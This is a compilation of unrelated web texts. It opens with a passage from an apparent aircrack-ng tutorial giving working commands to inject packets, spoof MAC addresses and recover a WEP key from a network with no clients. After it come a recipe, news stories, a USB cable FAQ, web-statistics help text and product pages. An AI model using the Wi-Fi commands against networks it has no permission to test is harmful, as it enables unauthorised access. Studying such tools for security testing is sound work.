- If the BSSID data packets are not increasing, make sure you are still associated with the access point. To do this, follow the tcpdump instructions in step 2.
Step 8 - Run aircrack-ng to obtain the WEP key
Start another console session and enter:
aircrack-ng -b 00:14:6C:7E:40:80 capture*.cap
- capture*.cap selects all dump files starting with "capture" and ending in "cap".
- -b 00:14:6C:7E:40:80 selects the one access point we are interested in
You can run this while generating packets. In a short time, the WEP key will be calculated and presented. Using the PTW method, 40-bit WEP can be cracked with as few as 20,000 data packets and 104-bit WEP with 40,000 data packets. As a reminder, the requirement is that you capture the full packet with airodump-ng. Meaning, do not use the "--ivs" option.
Troubleshooting Tips:
- Sometimes you need to try various techniques to crack the WEP key. Try "-n" to set various key lengths. Use "-f" and try various fudge factors. Use "-k" and try disabling various korek methods.
Alternate Solution
There is a neat trick which simplifies cracking WEP with no clients. Essentially it takes any packet broadcast by the access point and converts it to a broadcast packet such that the access point generates a new IV.
OK, at this point you are asking why didn't you show me this technique right at the start? The reason is that this technique rebroadcasts whatever size packet you receive. So if you receive a 1000 byte packet you then rebroadcast 1000 bytes. This potentially slows down the packets per second rate considerably. However, on the good news side, it is simple and easy to use. You might also get lucky and receive a very small packet for rebroadcasting. In this case, the performance is comparable to the solution described above.
The same assumptions apply and you must also do a successful fake authentication first.
Enter the following command:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
- -2 means use interactive frame selection
- -p 0841 sets the Frame Control Field such that the packet looks like it is being sent from a wireless client.
- -c FF:FF:FF:FF:FF:FF sets the destination MAC address to be a broadcast. This is required to cause the AP to replay the packet and thus getting the new IV.
- -b 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
- ath0 defines the interface to use
The system will respond:
Read 698 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:D0:CF:03:34:8C 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 00d0 cf03 348c a0f4 2000 0000 e233 962a ....4... ....3.* 0x0020: 90b5 fe67 41e0 9dd5 7271 b8ed ed23 8eda ...gA...rq...#.. 0x0030: ef55 d7b0 a56f bc16 355f 8986 a7ab d495 .U...o..5_...... 0x0040: 1daa a308 6a70 4465 9fa6 5467 d588 c10c ....jpDe..Tg.... 0x0050: f043 09f6 5418 .C..T. Use this packet ? y
You enter "y" to select the packet and start injecting it. Remember, the smaller the packet, the better. You then start injecting:
Saving chosen packet in replay_src-0411-145110.cap Sent 10204 packets...(455 pps)
If you have not already started airodump-ng, be sure to start it now. Once you have sufficient IVs, you can start aircrack-ng and attempt to crack the WEP key.
Another variation of this attack is to use packets from a previous capture. You must have captured the full packets, not just the IVs.
Here is what the command would look like:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -r capture-01.cap ath0
Where " -r capture-01.cap" is data from a previous capture.
Using Another Source MAC Address
The base tutorial assumes you are using the native MAC address of your wireless device as the source MAC. If this is not the case, then you need to change the process used. Since this is an advanced topic, I will provide the general guidelines and not the specific detail.
Preferably, you should change the native MAC address of your wireless device to the MAC you will be spoofing. This could the MAC of a client already associated with the AP or one that you make up. See this FAQ entry regarding how to change the MAC address of your card.


text:
Original Recipe can be found here
4 big potatoes peeled and diced
2 medium onions sliced
1 tbsp of olive oil
2 tbsp of apple cider vinegar
2 tbsp of mustard sauce
Salt and Pepper as per taste
1 tbsp of freshly chopped parsley
- Preheat the oven to 200 degrees C.
- Arrange the potatoes in an oven proof vessel, drizzle the olive oil and some salt and pepper. Mix properly so that potatoes are well covered with oil and seasoning.
- Bake the potatoes for 40 to 45 mins until they are cooked. Make sure you turn the potatoes every 10 to 12 mins.
- In a seperate pan, add little olive oil, about a tsp and saute the onions for 3 to 4 mins, until soft.
- Carefully add in the vinegar and mustard paste, along with salt and pepper.
- Take the pan off the heat and mix properly.
- Now add in the oven baked potatoes and mix to cover the potatoes with the dressing.
- Add freshly chopped parsley, adjust the seasoning and serve warm.
- You can serve this salad with some sour cream as well.


text:
Imagine a poker table.
At one seat, China's President Xi Jinping studies his cards. At another, Russian President Vladimir Putin is stroking his chin. Asian leaders fill the other seats, each trying to win the pot, which is filled — not with poker chips — but with jobs.
That's the kind of high-stakes game that played out this week in Indonesia, where global leaders got together to discuss trade relations. Their gathering ended Tuesday, and exactly who won what is not yet clear.
But this much is known: President Obama was not at the table.
And his absence, due to budget and debt tensions in Washington, was not good for American workers. Or at least that's the assessment of the president himself, as well as many economists.
'Important To Show Up'
Economists say the president needs to be in the game, but he missed his chances at the three-day Asia-Pacific Economic Cooperation summit.
"It's always important to show up" whenever global leaders are talking trade, said Bill Adams, senior international economist for PNC Financial Services Group.
"Sweeping trade agreements are never settled at one meeting, but they are large and complex, so you need to keep working on them," he said. "You need face time with other leaders."
At a news conference Tuesday afternoon, Obama concurred.
"I should have been there," Obama said. "It's like me not showing up at my own party."
Many Asian leaders had hoped to end the APEC meeting with an announcement about advances in trade deals, in particular the Trans-Pacific Partnership with the United States. But those hopes fizzled, with some Asian officials saying they fear the TPP lost momentum because Obama was not there to push it.
Obama agreed, telling reporters, "I would characterize it as missed opportunities."
Advancing a megatrade deal is particularly important at this stage of the slow U.S. economic recovery, most economists contend. That's because growth spurts typically come from:
1.) fiscal stimulus (Congress spending money for new roads and bridges)
2.) monetary stimulus (the Federal Reserve making it easy and cheap to borrow) or
3.) favorable trade deals (U.S. companies getting access to new markets).
A Key Economic Ingredient
Options No. 1 and 2 are off the table, given that Congress is in no mood to spend more money, and the Fed already has pushed interest rates to historic lows. So the only booster shot would have to come from U.S. exports.
That's why Obama wants the TPP. His goal is to get 11 other countries in the Asia-Pacific region to make it much easier for U.S. companies to sell services in Asia without having to set up a physical presence there.
So companies engaged in, say, digital media, online retailing and health sciences, are excited about getting a better shot at Asian customers without having to open expensive foreign offices. The White House first announced outlines of the agreement back in 2011 when the APEC summit was held in Obama's old hometown, Honolulu.
Speaking on the sidelines of that APEC gathering, Obama said that a trans-Pacific partnership would "boost our economies, lowering barriers to trade and investment, increasing exports and creating more jobs for our people, which is my No. 1 priority."
But getting the trade representatives for the United States — along with other TPP partners Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore and Vietnam — all on the same page isn't easy. Schmoozing with Asian leaders might have been helpful this week.
A Missing Star
In fact, Obama had been scheduled to be the star speaker at APEC on Monday. And at the leaders' retreat Tuesday, the theme was "America's leadership and priorities: What they mean for the world."
But as it turned out, the president had to skip the gathering, allowing the heads of China and Russia to have center stage as they met with leaders from other countries that rim the Pacific Ocean. Collectively, APEC countries include about 3 billion people and generate half of the world's economic output.
Obama said he needed to stay in Washington during the intense political battles over the budget and debt ceiling.
The APEC summit had offered Obama an opportunity to demonstrate his often mentioned "pivot to Asia."
The president wants the United States to be deeply engaged in Asia to serve as an economic and military counterweight to China. But the constant swirl of domestic politics has made it tough for him to connect with Asia's leaders. In 2010, he canceled two trips to the region — once to stay in Washington to push Congress on health care legislation, and again because of an oil spill in the Gulf of Mexico.
And this year, he had to skip APEC because of politics. The White House had hoped the APEC gathering would end with a splashy announcement of a TPP agreement. Instead, it ended with a statement that countries are "on track to complete" the talks, with the goal of reaching an agreement this year.
"It's a loss" for U.S. businesses to have their president sitting out an event that could have advanced trade, said Jerry Jasinowski, an economist and former president of the National Association of Manufacturers.
Some Oppose A Trade Deal
Not everyone shares that assessment. Labor groups and others opposed to TPP were glad to see Asia leaders avoid mention of the trade deal. "That the leaders have admitted that there is no deal nor a clear path to obtaining one this year, despite the hype built up pre-summit, reveals the growing domestic political blowback against the TPP," Lori Wallach, director of Public Citizen's Global Trade Watch, said in a statement.
Public Citizen and others groups are concerned about TPP's potential impact on labor standards, capital controls and the environment, among other issues.
Jasinowski said that at least on the jobs question, "U.S. manufacturers feel they already have lost the jobs they were going to lose" to cheaper competitors in Asia. "The low-wage exodus is over, so now manufacturers are looking for more exports" of high-end U.S. products and services to overseas customers, he said.
But Jasinowski said the biggest loss for trade supporters was not Obama's decision to stay home. It was the reason for his decision, namely, the inability of Congress and the White House to work together.
And the federal shutdown also has led to the scuttling of the second round of trade talks that were due to start in Belgium with European countries.
Getting any trade deals approved by Congress would be challenging during the best of times because many labor groups and some business interests are wary of them, Jasinowski said. With relations between the White House and lawmakers now so ragged, the outlook for building pro-trade coalitions may be diminished, he said.
"Having the president not go to Asia won't stop global trade," Jasinowski said. "But the increased animosity [in Washington] will make it harder" to get lawmakers to work together on trade-related legislation.
Copyright 2021 NPR. To see more, visit https://www.npr.org.


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Professor David Gloman has partnered with Kurt Heidinger, director of the Biocitizen School, to create an art event that inspires the public to imagine the unique biocultural character of the Nonotuck biome (also known as the central Connecticut River Valley) by "re-presenting" the landscapes that Orra Hitchcock depicted in the mid 19th century. Professor Gloman has located the sites where they were painted and created his own painted landscape portraits of those sites. View Gloman and Hitchcock's illustrations together in Frost Library's Mezzanine Gallery from September 4 - October 29.
The opening reception will be on September 27 from 4:30 - 6 p.m. in the Center for Humanistic Inquiry (2nd Floor, Frost Library).


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Why is it important to use the correct (supplied) USB-cable with my product?
Most Sony products that are supplied with a USB cable are catered to function with your specific product.
Using a different cable might be the reason why your product isn't functioning optimally. For example, your audio system or smartphone might freeze, charge less efficiently, or have issues when transferring data.
Data versus charging
In general, a fully equipped USB cable consists of 4 copper wires:
- Two wires are used for charging purposes
- Two wires are used for data transferring.
Although all USB cables have the same external appearance, some cables are "charge-only", and the two data transfer copper wires (named D+ and D- data lines) will not be included in the cable or will be disconnected. We recommend using USB-cables that have all four wires connected, as the absence of these data transfer wires can potentially cause errors.
How do I know my USB cable has four wires?
Finding out can be a challenge, as there are inconsistencies between USB cables across manufacturers. If you are using a Sony product without a supplied USB cable, please ask your local retailer specifically for a data-transfer capable USB-cable. You can also check yourself, as it should be listed on the packaging.
The first item to check is the USB-cable supplied with your smartphone. It should be data-transfer compatible.


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WWW Statistics for ScaLAPACK
A new visits is defined as each new
incoming visitor
(viewing or browsing a page) who was not connected to your site during last
60 mn
Number of client hosts (
IP address
) who came to visit the site (and who viewed at least one
This data refers to the number of
different physical persons
who had reached the site.
Number of times a
of the site is
(Sum for all visitors for all visits).
This piece of data differs from "hits" in that it counts only HTML pages as oppose to images and other files.
Number of times a
page, image, file
of the site is
by someone.
This piece of data is provided as a reference only, since the number of "pages" viewed is often prefered for marketing purposes.
This piece of information refers to the amount of data downloaded by all
within your site.
Units are in KB, MB or GB (KiloBytes, MegaBytes or GigaBytes)
Awstats recognizes each access to your site after a
from the
228 most popular Internet Search Engines and Directories
(such as Yahoo, Altavista, Lycos, Google, Voila, etc...).
List of all
external pages
which were used to link (and enter) to your site (Only the
most often used external pages are shown). Links used by the results of the search engines are excluded here because they have already been included on the previous line within this table.
This table shows the list of the most frequent
keyphrases or keywords
used to find your site from Internet Search Engines and Directories. (Keywords from the
most popular Search Engines and Directories are recognized by Awstats, such as Yahoo, Altavista, Lycos, Google, Voila, etc...).
Note that total number of searches for keywords might be greater than total number of searches for keyphrases (real number of searches) because when 2 keywords were used on same search, search is counted twice for keywords (once for each word).
Robots (sometimes refer to Spiders) are
automatic computer visitors
used by many search engines that scan your web site to index it and rank it, collect statistics on Internet Web sites and/or see if your site is still online.
Awstats is able to recognize up to
All time related statistics are based on server time.
Here, reported data are:
average values
(calculated from all data between the first and last visit in analyzed range).
Here, reported data are:
cumulative sums
(calculated from all data between the first and last visit in analyzed range).
Visits durations
are 'unknown' because they can't always be calculated. This is the major reason for this:
- Visit was not finished when 'update' occured.
- Visit started the last hour (after 23:00) of the last day of a month (A technical reason prevents Awstats from calculating duration of such sessions)
Worms are
automatic computer visitors
that are in fact external servers, infected by a virus, that try to make particular hits on your server to infect it. In most cases, such worms exploit some bugs of not up to date or commercial servers. If your system is not the
sensitive target
of the worm, you can simply ignore those hits.
There is very few 'server worms' in the world but they are very active at some times. Awstats is able to recognize
known worm's signatures (nimda,code red,...).
No description for this error.
Request was understood by server but will be processed later.
Server has processed the request but there is no document to send.
Partial content.
Requested document was moved and is now at another address given in answer.
No description for this error.
Syntax error, server didn't understand request.
Tried to reach an
URL where a login/password pair was required
A high number within this item could mean that someone (such as a hacker) is attempting to crack, or enter into your site (hoping to enter a secured area by trying different login/password pairs, for instance).
Tried to reach an
URL not configured to be reachable, even with an login/password pair
(for example, an URL within a directory not defined as "browsable".).
Tried to reach a
non existing URL
. This error often means that there is an invalid link somewhere in your site or that a visitor mistyped a certain URL.
Server has taken
too much time
to respond to a request. This error frequently involves either a slow CGI script which the server was required to kill or an extremely congested web server.
Internal error. This error is often caused by a CGI program that had finished abnormally (coredump for example).
Unknown requested action.
Code returned by a HTTP server that works as a proxy or gateway when a real, targeted server doesn't answer successfully to the client's request.
Internal server error.
Gateway Time-out.
HTTP Version Not Supported.
Statistics for:
Last Update:
15 Jan 2010 - 01:34
Reported period:
Year 2008
Close window


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More on the way:
This product will not ship immediately. Contact us for estimated delivery.
Celestron's C5 Spotting Scope is a 5" (127mm) aperture, 1250mm f/10 Schmidt-Cassegrain optical system. Its optical excellence is the reason it was chosen by NASA for many space shuttle missions.
The C5 spotting scope is an ideal choice for the serious bird watcher, nature lover or anyone who enjoys beautiful views - either from your home or in the field. At just six pounds in weight and 11 inches in length, this spotting scope is a completely portable visual and photographic instrument that performs well in any viewing location. Further, Celestron offers a wide variety of optional accessories to expand the capabilities of this special instrument.
The C5's aperture of 5" allows it to easily outperform smaller aperture spotting scopes. Offering 4½ times more light gathering ability than a 60mm spotting scope and 2½ times more than an 80mm scope, Celestron's C5 is the clear choice when a powerful instrument delivering brilliant, crisp views is what you require.
The C5 spotting scope is a wonderfully versatile instrument, and its near focus of approximately 20 feet allows you to observe plant life, wildlife, birds or insects with ease. At the same time, the C5 can also be used as an astronomical telescope. In addition, the C5 goes easily from working as a powerful spotting scope to being a high performance 1250mm f/10 telephoto lens.
Photography couldn't be easier, because the C5 is designed to be fully camera adaptable. To take professional quality shots with the C5, just attach the correct optional T- Adapter and T-Ring for your 35mm SLR camera to the back of the C5 spotting scope, and you're ready to shoot. The tripod adapter block on the C5's tube makes easy work of mounting the instrument onto a tripod for either viewing or photography. The C5 comes complete inside its own soft sided carrying case.
- Optical Design: Schmidt-Cassegrain
- Aperture: 127mm
- Focal Length: 1250mm
- Focal Ratio: 9.84
- Finderscope: 8x20
- Angle: 45°
- Eyepiece: 25mm
- Magnification: 50x
- Angular Field of View: 1°
- Linear Field of View (@ 1000 yds.): 53 ft.
- Eye Relief: 22mm
- Near Focus: 20 ft.
- Optical Coatings: StarBright
- Camera Adaptable: Optional T-adapter
- Carrying Case: Foam Case
- Optical Tube Length: 13 in.
- Weight: 96 oz.


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Why Miss America found her niche at a conservative college
| Purcellville, Va.
It's a startling contrast to some observers — the glamorous, bikini-clad Miss America from 2011, Teresa Scanlan, finding her home at the tiny, super-conservative Patrick Henry College. The school requires students to dress modestly and "seek parental counsel when pursuing a romantic relationship."
But the match has been a good one. Scanlan returned to campus in late August to begin her sophomore year. Among the things she loves about her classmates and her campus: "I've never had to sign an autograph, and I've never had to take a picture. Here, I can be just another student," she said.
Blending in is not always easy for Scanlan, who won the Miss America Contest at 17, representing Nebraska. The youngest Miss America in more than 70 years, she spent a year fulfilling her duties and enrolled at Patrick Henry in 2012. She says the school's workload matched the grueling schedule as Miss America.
The school was established in 2000 with the goal of giving home-schooled Christian conservatives a foundation to help them effect change in government, the law and journalism.
The school started with 90 students and a single major — government. It is still a tiny campus in the outer suburbs of Washington, D.C., but now has 320 students and five majors, including journalism, literature and history. The SAT scores of its students are comparable to top-tier state universities.
Scanlan, who came from a homeschooling family, says she wanted to go to Patrick Henry ever since she was 8.
She said she's frustrated by stereotypes that some hold about Patrick Henry students. She recalled a recent photo essay published about the school that she felt went out of its way to depict students as cloistered weirdos. The reality, she said, is that while the students are Christian, they come from a variety of backgrounds.
"There's this idea that we don't struggle with the same problems, that we don't understand real world problems ... that everyone comes from wonderful, happy families, that we're close-minded and brainwashed. That kind of pushes my buttons," she said.
The degree to which some people are willing to make snap judgments about her has occasionally taken her aback. As a teenager, she admits her schedule as Miss America and some of the accompanying expectations, wore on her. The negativity she faced from anonymous Internet critics was hurtful.
"To have someone look at a picture of you and decide just based on that picture that they hate you, and that they're going to tell the world that they hate you — that takes some getting used to," she said.
During her year as Miss America, she began to feel depressed and, at times, even suicidal. The depression continued during her freshman year, she said, when she found her coursework grueling, with a heavy emphasis on reading and writing. She earned a 3.75 grade-point average, but was disappointed because she had set a goal of a 3.9 or higher, which she feels she needs to get accepted into Harvard Law School.
She reached out to her parents for help during her spring semester, and she's now taking fewer classes and worrying less about others' expectations.
"I'm finally starting to let go of some of the stress, some of the responsibility," she said.
While she loves her school, she said she has occasionally received criticism from some there who feel the Miss America pageant, particularly the swimsuit competition, is not compatible with a Christian lifestyle because it shows too much skin or objectifies women. Scanlan respectfully disagrees.
"I have never violated my conscience. I was never compromising my morals," she said. "For myself, I have never believed it's wrong for a female to wear a swimsuit that would show the same amount of skin a man. It's a bit of a double standard."
The school's founder and chancellor, Mike Farris, also said he received sporadic complaints that Scanlan's status as a Miss America was supposedly contrary to the school's code and values.
"I don't view getting into the pageant world to be incompatible with Christian values," said Farris — who made his name as a lawyer defending homeschooler families.
Farris never had any doubts that Scanlan would be a good ambassador for the school. Farris sensed she could be a starter on Patrick Henry's Moot Court team, which Farris coaches and regularly wins national championships.
"She's very bright, a great communicator," Farris said, noting she placed third in a regional in Moot Court championships as a freshman. "Yeah, no doubt I expect a national championship out of her."
Kira Clark, a Moot Court teammate of Scanlan's and now a roommate, described Scanlan as "a caring, incredibly ambitious, smart, compassionate person who puts her friends first."
On the small campus, she said students don't dwell on the fact that Scanlan was Miss America.
"We see her as a sister we can be proud of, rather than a celebrity we can be taking advantage of," Clark said.
Despite her plans to reduce stress, Scanlan remains ambitious. On her LinkedIn profile, she lists herself, among other things, as "2028 presidential candidate." She would be 35, the constitutional minimum to serve as president.
Farris, who designed the school with the idea of launching Christian conservatives into the public sphere, said Scanlan and many other Patrick Henry students set such goals and he encourages them to aim high.
"If they mess up and only get to be governors and senators, I'll live with it," Farris said.
Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.


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20 Bizarre Dog Hairdos
You love your pets. Here's just how you can reveal your love and also give them a splendidly loving gift box each month. Possibly best of all, BarkBox supports thousands of rescue group all over the U.S.A!
Subscribe To It's a regular monthly subscription-based service that sends a special box of hand-selected treats and also toys particularly produced for your pet dog. It is like a birthday celebration for your animals monthly, but much easier and also far cheaper as well!